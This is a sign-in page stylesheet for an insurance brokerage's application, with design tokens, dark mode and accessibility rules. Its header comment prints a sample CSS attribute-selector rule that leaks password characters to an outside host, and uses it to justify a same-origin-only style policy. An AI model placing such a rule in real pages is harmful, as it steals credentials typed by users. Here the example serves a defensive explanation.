/* The sign-in page's only stylesheet. Served from this application's own
   origin at /auth/sign-in.css, never inline, never from a CDN, never a
   style= attribute.

   WHY THIS FILE EXISTS RATHER THAN A style= ATTRIBUTE OR A <style> BLOCK

     A stylesheet is a way to read a password field. An attribute selector on
     the value plus a background request exfiltrates what is typed, one
     character at a time:

         input#secret[value^="a"] { background: url(https://elsewhere/a); }

     That attack needs INJECTED CSS to become part of the page, which is
     exactly what style-src 'unsafe-inline' permits and what a same-origin
     file cannot be. So the policy of this page is style-src 'self' and this
     file is the one thing it names: reviewable, versioned, and served by a
     route rather than assembled into the markup. See sign_in.py, which owns
     the policy and states the same rule where the old note was.

     Two properties of this file are asserted by sign_in.self_check, because
     a comment is not a mechanism:

       * it contains no url( at all - so nothing here can make a request
         leave, whatever a later edit puts in a selector, and
       * it carries no attribute selector on a value ([value...]) - the shape
         of the attack itself does not appear in our own stylesheet.

   THE DESIGN, AND WHERE IT COMES FROM

     Not invented here. The palette, the radii and the easing are lifted from
     the owner's own site (luctech.de, assets/css/site.css v2.1, its default
     emerald palette) so that a customer who has seen LucTech recognises this
     page. What is deliberately left behind is that site's marketing
     register: no particle field, no 104px display type, no animated
     background. A sign-in page for a German insurance brokerage is a quiet
     room, not a launch.

     Colour     ink #0a2418 · brand #2f9457 · deep #1b5e3a · lift #5fc77f
                paper #f6f4ef · card #ffffff, all from the site above.
                The dark set is derived from the same hues; the site has no
                dark mode, so those five values are this file's own and are
                marked below.
     Type       the platform UI stack only. NO web font is loaded from
                anywhere: a font is a request, and this page makes none.
     Spacing    4px base, used at 4 8 12 16 24 32 48.
     Radius     18px on the card, 10px on the controls - a shade tighter than
                the marketing site's 22/12.
     Motion     140ms on cubic-bezier(.16, 1, .3, 1), the site's own ease-out,
                and none at all under prefers-reduced-motion.

     All 26 colour pairs on this page were measured against WCAG 2.1 rather
     than assumed. The lowest TEXT ratio is 6.52:1 (muted text on paper)
     against a floor of 4.5; the lowest NON-TEXT ratio is 3.19:1 (the dark
     field border against the card) against a floor of 3.0. Change a value
     here and measure it again - three of them were changed after this page
     was looked at in a browser, and each was re-measured.
*/

/* ------------------------------------------------------------------ */
/* Tokens - light                                                      */
/* ------------------------------------------------------------------ */

:root {
    color-scheme: light dark;

    --ink: #0a2418;             /* site.css --c-ink        */
    --muted: #4c5b53;           /* derived, 6.52:1 on paper */
    --brand: #2f9457;           /* site.css --c-body       */
    --deep: #1b5e3a;            /* site.css --c-shadow     */
    --paper: #f6f4ef;           /* site.css --c-paper      */
    --paper-edge: #ece8df;      /* site.css --c-paper-2    */
    --card: #ffffff;            /* site.css --c-card       */
    --line: rgba(10, 36, 24, 0.12);
    --line-strong: #7f8d85;
    --field: #ffffff;
    --button-face: #1b5e3a;
    --button-face-hover: #164c2f;
    --button-label: #ffffff;
    --ring: #1b5e3a;
    --alert-face: #fdf2f0;
    --alert-rule: #a8483a;
    --alert-ink: #8a2b1f;
    --shadow-near: 0 1px 2px rgba(10, 36, 24, 0.06);
    --shadow-far: 0 18px 44px -24px rgba(10, 36, 24, 0.30);

    --step: 4px;
    --radius-card: 18px;
    --radius-control: 10px;
    --ease: cubic-bezier(.16, 1, .3, 1);
    --pace: 140ms;

    --font: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto,
            "Helvetica Neue", Arial, "Noto Sans", sans-serif;
    --font-mark: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas,
                 "Liberation Mono", monospace;
}

/* ------------------------------------------------------------------ */
/* Tokens - dark. Derived here; the owner's site has no dark mode.     */
/* ------------------------------------------------------------------ */

@media (prefers-color-scheme: dark) {
    :root {
        --ink: #e8efe9;
        --muted: #a2b3a8;
        --brand: #5fc77f;       /* site.css --c-highlight, legible on dark */
        --deep: #5fc77f;
        --paper: #0b1611;
        --paper-edge: #08110d;
        --card: #15251d;        /* lifted off the page after looking at it */
        --line: rgba(232, 239, 233, 0.14);
        --line-strong: #63736a;
        --field: #0e1a14;
        /* One step down from --brand after looking at it on a phone: the
           lighter fill read as neon against this palette. 7.01:1 with the
           label, and hover goes UP to the brand value - brighter on dark,
           darker on light, which is "more contrast" in both. */
        --button-face: #4bb26b;
        --button-face-hover: #5fc77f;
        --button-label: #08150e;
        --ring: #7ad795;
        --alert-face: #2a1613;
        --alert-rule: #e0705c;
        --alert-ink: #ffb3a3;
        --shadow-near: 0 1px 2px rgba(0, 0, 0, 0.40);
        --shadow-far: 0 18px 44px -24px rgba(0, 0, 0, 0.75);
    }
}

/* ------------------------------------------------------------------ */
/* Ground                                                              */
/* ------------------------------------------------------------------ */

*,
*::before,
*::after {
    box-sizing: border-box;
}

html {
    -webkit-text-size-adjust: 100%;
}

/* The card and the line under it are ONE centred stack. They were a grid with
   the footnote pinned to the bottom row until it was looked at in a browser:
   at 1280x900 that put 200px of nothing between them and the sentence read as
   a stray fragment of another page rather than as this card's footnote. */
body {
    margin: 0;
    min-height: 100vh;
    min-height: 100svh;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    /* Centred, but never at the cost of the top of the card. On a short
       window a centred flex column overflows in BOTH directions and the
       heading goes off the top edge where nothing can scroll to it. A
       browser that does not know the keyword keeps the line above. */
    justify-content: safe center;
    gap: calc(var(--step) * 6);
    padding: calc(var(--step) * 8) calc(var(--step) * 4);
    background-color: var(--paper);
    background-image: linear-gradient(180deg,
                                      var(--paper) 0%,
                                      var(--paper-edge) 100%);
    color: var(--ink);
    font-family: var(--font);
    font-size: 16px;
    line-height: 1.55;
    text-wrap: pretty;
    -webkit-font-smoothing: antialiased;
}

/* ------------------------------------------------------------------ */
/* The card                                                            */
/* ------------------------------------------------------------------ */

.sheet {
    width: 100%;
    max-width: 26rem;
    padding: calc(var(--step) * 9) calc(var(--step) * 8);
    background: var(--card);
    border: 1px solid var(--line);
    border-radius: var(--radius-card);
    box-shadow: var(--shadow-near), var(--shadow-far);
}

.mark {
    margin: 0 0 calc(var(--step) * 6);
    font-family: var(--font-mark);
    font-size: 12px;
    font-weight: 500;
    letter-spacing: 0.18em;
    text-transform: uppercase;
    color: var(--deep);
}

h1 {
    margin: 0;
    font-size: 28px;
    font-weight: 600;
    line-height: 1.15;
    letter-spacing: -0.022em;
    text-wrap: balance;
}

.lede {
    margin: calc(var(--step) * 2) 0 calc(var(--step) * 8);
    color: var(--muted);
    font-size: 15px;
}

/* ------------------------------------------------------------------ */
/* Fields                                                              */
/* ------------------------------------------------------------------ */

.field {
    margin: 0 0 calc(var(--step) * 5);
}

.field label {
    display: block;
    margin-bottom: calc(var(--step) * 1.5);
    font-size: 14px;
    font-weight: 600;
    letter-spacing: -0.005em;
}

.field input {
    display: block;
    width: 100%;
    padding: calc(var(--step) * 3) calc(var(--step) * 3.5);
    font: inherit;
    font-size: 16px;         /* 16px or larger, or iOS zooms the page in */
    color: var(--ink);
    background: var(--field);
    border: 1px solid var(--line-strong);
    border-radius: var(--radius-control);
    transition: border-color var(--pace) var(--ease),
                box-shadow var(--pace) var(--ease);
}

.field input:hover {
    border-color: var(--muted);
}

.field input:focus-visible,
.field input:focus {
    outline: 2px solid var(--ring);
    outline-offset: 1px;
    border-color: var(--ring);
}

/* ------------------------------------------------------------------ */
/* The button, and the busy state that stops a second press            */
/* ------------------------------------------------------------------ */

.go {
    position: relative;
    display: block;
    width: 100%;
    margin-top: calc(var(--step) * 7);
    padding: calc(var(--step) * 3.25) calc(var(--step) * 4);
    overflow: hidden;
    font: inherit;
    font-size: 16px;
    font-weight: 600;
    letter-spacing: 0.01em;
    color: var(--button-label);
    background: var(--button-face);
    border: 1px solid transparent;
    border-radius: var(--radius-control);
    cursor: pointer;
    transition: background-color var(--pace) var(--ease),
                transform var(--pace) var(--ease);
}

.go:hover {
    background: var(--button-face-hover);
}

.go:active {
    transform: translateY(1px);
}

.go:focus-visible {
    outline: 2px solid var(--ring);
    outline-offset: 2px;
}

/* sign_in.js disables the button for the whole flight of the request. This
   is what that looks like: dimmed, not pressable, and a bar that moves so a
   person can tell "in flight" from "broken". */
.go:disabled {
    cursor: progress;
    opacity: 0.72;
}

.go:disabled::after {
    content: "";
    position: absolute;
    left: 0;
    bottom: 0;
    height: 3px;
    width: 40%;
    background: var(--button-label);
    opacity: 0.55;
    animation: sweep 1.1s var(--ease) infinite;
}

@keyframes sweep {
    from { transform: translateX(-100%); }
    to   { transform: translateX(350%); }
}

/* ------------------------------------------------------------------ */
/* The alert region                                                    */
/*                                                                     */
/* It is ONE element and it shows ONE sentence, whatever was refused.  */
/* Nothing here may branch on the text: a rule that could make two     */
/* refusals look different would be user enumeration in a stylesheet.  */
/* ------------------------------------------------------------------ */

.note {
    margin: calc(var(--step) * 6) 0 0;
    padding: calc(var(--step) * 3) calc(var(--step) * 4);
    border-left: 4px solid var(--alert-rule);
    border-radius: 0 var(--radius-control) var(--radius-control) 0;
    background: var(--alert-face);
    color: var(--alert-ink);
    font-size: 15px;
    font-weight: 600;
}

/* Empty is the normal state, and it must occupy nothing and show nothing.
   The element itself is NEVER removed from the page: a live region has to
   be in the document before its text arrives, or the announcement is the
   one thing that goes missing. */
.note:empty {
    margin: 0;
    padding: 0;
    border: 0;
    background: none;
}

.footnote {
    width: 100%;
    max-width: 26rem;
    margin: 0;
    padding: 0 calc(var(--step) * 2);
    color: var(--muted);
    font-size: 13px;
    text-align: center;
}

/* ------------------------------------------------------------------ */
/* Phone                                                               */
/* ------------------------------------------------------------------ */

@media (max-width: 30rem) {
    body {
        /* Top-aligned, so the card does not walk up the screen when the
           refusal appears and push what a person is reading out from under
           their thumb. */
        justify-content: flex-start;
        padding: calc(var(--step) * 6) calc(var(--step) * 3);
    }

    .sheet {
        padding: calc(var(--step) * 7) calc(var(--step) * 5);
    }

    h1 {
        font-size: 25px;
    }
}

/* ------------------------------------------------------------------ */
/* Preferences the reader has already stated                           */
/* ------------------------------------------------------------------ */

@media (prefers-reduced-motion: reduce) {
    *,
    *::before,
    *::after {
        animation-duration: 0.001ms !important;
        animation-iteration-count: 1 !important;
        transition-duration: 0.001ms !important;
    }
}

@media (prefers-contrast: more) {
    :root {
        --line: var(--ink);
        --line-strong: var(--ink);
        --muted: var(--ink);
    }

    .sheet,
    .field input {
        border-width: 2px;
    }
}
